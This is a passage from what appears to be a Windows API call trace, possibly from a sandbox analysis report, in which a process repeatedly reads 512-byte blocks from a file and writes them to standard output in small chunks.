0x90 [0301.991] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0301.991] _get_osfhandle (_FileHandle=4) returned 0xe8 [0301.991] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0301.991] _get_osfhandle (_FileHandle=4) returned 0xe8 [0301.991] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0301.991] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.991] GetFileType (hFile=0x90) returned 0x1 [0301.991] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.991] GetFileType (hFile=0x90) returned 0x1 [0301.991] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.991] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.991] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.991] GetFileType (hFile=0x90) returned 0x1 [0301.991] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.991] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.991] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.991] GetFileType (hFile=0x90) returned 0x1 [0301.991] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.991] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.991] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.991] GetFileType (hFile=0x90) returned 0x1 [0301.991] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.991] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.992] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.992] GetFileType (hFile=0x90) returned 0x1 [0301.992] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.992] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.992] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.992] GetFileType (hFile=0x90) returned 0x1 [0301.992] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.992] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.992] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.992] GetFileType (hFile=0x90) returned 0x1 [0301.992] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.992] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0301.992] _get_osfhandle (_FileHandle=4) returned 0xe8 [0301.992] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0301.992] _get_osfhandle (_FileHandle=4) returned 0xe8 [0301.992] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0301.992] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.992] GetFileType (hFile=0x90) returned 0x1 [0301.992] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.992] GetFileType (hFile=0x90) returned 0x1 [0301.992] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.992] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.993] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.993] GetFileType (hFile=0x90) returned 0x1 [0301.993] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.993] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.993] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.993] GetFileType (hFile=0x90) returned 0x1 [0301.993] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.993] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.993] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.993] GetFileType (hFile=0x90) returned 0x1 [0301.993] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.993] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.993] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.993] GetFileType (hFile=0x90) returned 0x1 [0301.993] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.993] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.993] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.993] GetFileType (hFile=0x90) returned 0x1 [0301.993] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.993] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.993] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.994] GetFileType (hFile=0x90) returned 0x1 [0301.994] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.994] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0301.994] _get_osfhandle (_FileHandle=4) returned 0xe8 [0301.994] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0301.994] _get_osfhandle (_FileHandle=4) returned 0xe8 [0301.994] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0301.994] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.994] GetFileType (hFile=0x90) returned 0x1 [0301.994] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.994] GetFileType (hFile=0x90) returned 0x1 [0301.994] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.994] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.994] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.994] GetFileType (hFile=0x90) returned 0x1 [0301.994] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.994] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.994] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.994] GetFileType (hFile=0x90) returned 0x1 [0301.994] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.994] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.994] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.994] GetFileType (hFile=0x90) returned 0x1 [0301.994] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.994] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.995] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.995] GetFileType (hFile=0x90) returned 0x1 [0301.995] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.995] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.995] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.995] GetFileType (hFile=0x90) returned 0x1 [0301.995] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.995] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.995] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.995] GetFileType (hFile=0x90) returned 0x1 [0301.995] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.995] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0301.995] _get_osfhandle (_FileHandle=4) returned 0xe8 [0301.995] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0301.995] _get_osfhandle (_FileHandle=4) returned 0xe8 [0301.995] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0301.995] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.995] GetFileType (hFile=0x90) returned 0x1 [0301.995] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.995] GetFileType (hFile=0x90) returned 0x1 [0301.995] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.995] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.995] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.995] GetFileType (hFile=0x90) returned 0x1 [0301.995] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.996] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.996] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.996] GetFileType (hFile=0x90) returned 0x1 [0301.996] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.996] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.996] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.996] GetFileType (hFile=0x90) returned 0x1 [0301.996] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.996] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.996] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.996] GetFileType (hFile=0x90) returned 0x1 [0301.996] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.996] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.996] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.996] GetFileType (hFile=0x90) returned 0x1 [0301.996] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.996] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.996] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.996] GetFileType (hFile=0x90) returned 0x1 [0301.996] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.996] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0301.996] _get_osfhandle (_FileHandle=4) returned 0xe8 [0301.997] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0301.997] _get_osfhandle (_FileHandle=4) returned 0xe8 [0301.997] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0301.997] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.997] GetFileType (hFile=0x90) returned 0x1 [0301.997] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.997] GetFileType (hFile=0x90) returned 0x1 [0301.997] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.997] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.997] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.997] GetFileType (hFile=0x90) returned 0x1 [0301.997] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.997] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.997] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.997] GetFileType (hFile=0x90) returned 0x1 [0301.997] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.997] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.997] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.997] GetFileType (hFile=0x90) returned 0x1 [0301.997] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.997] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.997] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.997] GetFileType (hFile=0x90) returned 0x1 [0301.997] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.997] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.998] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.998] GetFileType (hFile=0x90) returned 0x1 [0301.998] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.998] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.998] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.998] GetFileType (hFile=0x90) returned 0x1 [0301.998] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.998] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0301.998] _get_osfhandle (_FileHandle=4) returned 0xe8 [0301.998] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0301.998] _get_osfhandle (_FileHandle=4) returned 0xe8 [0301.998] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0301.998] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.998] GetFileType (hFile=0x90) returned 0x1 [0301.998] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.998] GetFileType (hFile=0x90) returned 0x1 [0301.998] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.998] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.999] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.999] GetFileType (hFile=0x90) returned 0x1 [0301.999] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.999] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.999] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.999] GetFileType (hFile=0x90) returned 0x1 [0301.999] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.999] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.999] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.999] GetFileType (hFile=0x90) returned 0x1 [0301.999] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.999] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.999] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.999] GetFileType (hFile=0x90) returned 0x1 [0301.999] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.999] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0301.999] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.999] GetFileType (hFile=0x90) returned 0x1 [0301.999] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.000] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.000] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.000] GetFileType (hFile=0x90) returned 0x1 [0302.000] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.000] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0302.000] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.000] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.000] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.000] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.000] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.000] GetFileType (hFile=0x90) returned 0x1 [0302.000] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.000] GetFileType (hFile=0x90) returned 0x1 [0302.000] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.000] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.000] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.000] GetFileType (hFile=0x90) returned 0x1 [0302.000] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.000] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.000] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.000] GetFileType (hFile=0x90) returned 0x1 [0302.001] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.001] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.001] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.001] GetFileType (hFile=0x90) returned 0x1 [0302.001] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.001] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.001] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.001] GetFileType (hFile=0x90) returned 0x1 [0302.001] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.001] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.001] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.001] GetFileType (hFile=0x90) returned 0x1 [0302.001] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.001] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.001] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.001] GetFileType (hFile=0x90) returned 0x1 [0302.001] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.001] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0302.001] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.001] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.002] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.002] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.002] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.002] GetFileType (hFile=0x90) returned 0x1 [0302.002] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.002] GetFileType (hFile=0x90) returned 0x1 [0302.002] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.002] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, 